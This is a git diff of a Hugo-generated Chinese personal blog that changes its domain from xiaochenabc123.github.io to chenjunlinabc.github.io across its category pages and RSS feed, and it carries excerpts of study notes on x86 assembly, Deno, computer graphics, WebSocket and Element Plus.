property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Categories"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span class=active>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><h1>Categories</h1></header><ul class=terms-tags><li><a href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/>学习 <sup><strong><sup>45</sup></strong></sup></a></li><li><a href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/>技术 <sup><strong><sup>37</sup></strong></sup></a></li><li><a href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/>默认 <sup><strong><sup>36</sup></strong></sup></a></li></ul></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/categories/index.xml b/categories/index.xml
index e1026c5a..cc6c44b0 100644
--- a/categories/index.xml
+++ b/categories/index.xml
@@ -2,40 +2,40 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Categories on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/categories/</link>
+    <link>https://chenjunlinabc.github.io/categories/</link>
     <description>Recent content in Categories on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/categories/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/categories/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>学习</title>
-      <link>https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/</link>
+      <link>https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/</link>
       <pubDate>Sun, 20 Nov 2022 11:49:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/</guid>
+      <guid>https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/</guid>
       <description></description>
     </item>
     
     <item>
       <title>技术</title>
-      <link>https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/</link>
+      <link>https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/</link>
       <pubDate>Fri, 28 Oct 2022 01:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/</guid>
+      <guid>https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/</guid>
       <description></description>
     </item>
     
     <item>
       <title>默认</title>
-      <link>https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/</link>
+      <link>https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/</link>
       <pubDate>Mon, 06 Dec 2021 02:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/</guid>
+      <guid>https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/</guid>
       <description></description>
     </item>
     
diff --git "a/categories/\345\255\246\344\271\240/index.html" "b/categories/\345\255\246\344\271\240/index.html"
index b9d0a1c5..6853796c 100644
--- "a/categories/\345\255\246\344\271\240/index.html"
+++ "b/categories/\345\255\246\344\271\240/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>汇编基础学习笔记</h2></header><div class=entry-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>汇编基础学习笔记</h2></header><div class=entry-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
 EAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL
@@ -50,7 +50,7 @@
 x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量
 虚拟内存
 进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录
-物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中...</p></div><footer class=entry-footer><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://xiaochenabc123.github.io/posts/162/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
+物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中...</p></div><footer class=entry-footer><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://chenjunlinabc.github.io/posts/162/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
 安装
@@ -68,11 +68,7 @@
 检查是否安装完成
 deno –version
 第一个例子
-import DFetch from "https://deno.land/x/dfetch/mod.ts"
-DFetch.get("https://xiaochenabc123.test.com").then((response) => {
-console.log(response)
-})
-运行
+import DFetch from "https://deno.land/x/dfetch/mod.ts" DFetch.get("https://xiaochenabc123.test.com").then((response) => { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过–allow-net默认运行，例如：deno run –allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -87,7 +83,7 @@
 -A 或者 –allow-all 允许全部权限
 VsCode插件deno
 deno内置工具
-安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://xiaochenabc123.github.io/posts/161/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>计算机图形学学习笔记</h2></header><div class=entry-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
+安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://chenjunlinabc.github.io/posts/161/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>计算机图形学学习笔记</h2></header><div class=entry-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
 1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器
@@ -108,7 +104,7 @@
 1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）
 1995年，Directx 1.0
 1997年，OpenGL 1.1
-1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=entry-footer><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://xiaochenabc123.github.io/posts/159/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>WebSocket学习笔记</h2></header><div class=entry-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
+1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=entry-footer><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://chenjunlinabc.github.io/posts/159/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>WebSocket学习笔记</h2></header><div class=entry-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
 WebSocket客户端配置
@@ -121,62 +117,20 @@
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket('ws://localhost:8080')
-ws.onopen = () =>{
-console.log("连接中")
-ws.send('hallo word') // 向服务端发送数据
-}
-ws.onerror = () =>{
-console.log('连接失败')
-}
-ws.onmessage = (evt) =>{
-console.log('连接成功，正在获取数据')
-if(typeof evt.data === String){
-console.log('hallo'+evt.data)
-}else if(evt.data instanceof ArrayBuffer){
-let data = evt.data
-console.log('数据：'+data)
-}
-ws.close() // 手动关闭连接
-}
-ws.onclose = () =>{
-console.log('连接已关闭')
-}
-还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
-WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读...</p></div><footer class=entry-footer><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://xiaochenabc123.github.io/posts/158/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
+const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log("连接中") ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读...</p></div><footer class=entry-footer><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://chenjunlinabc.github.io/posts/158/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus –save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from 'element-plus'
-import 'element-plus/dist/index.css'
-按需导入
+import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from 'unplugin-auto-import/vite'
-import Components from 'unplugin-vue-components/vite'
-...
-plugins: [
-AutoImport({
-resolvers: [ElementPlusResolver()],
-}),
-Components({
-resolvers: [ElementPlusResolver()],
-}),
-],
-这个组件库还支持module导入的方式手动按需使用，例如：
-&lt;template>
-&lt;el-button>I am ElButton&lt;/el-button>
-&lt;/template>
-&lt;script>
-import { ElButton } from 'element-plus'
-export default {
-components: { ElButton },
-}
-&lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://xiaochenabc123.github.io/posts/157/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
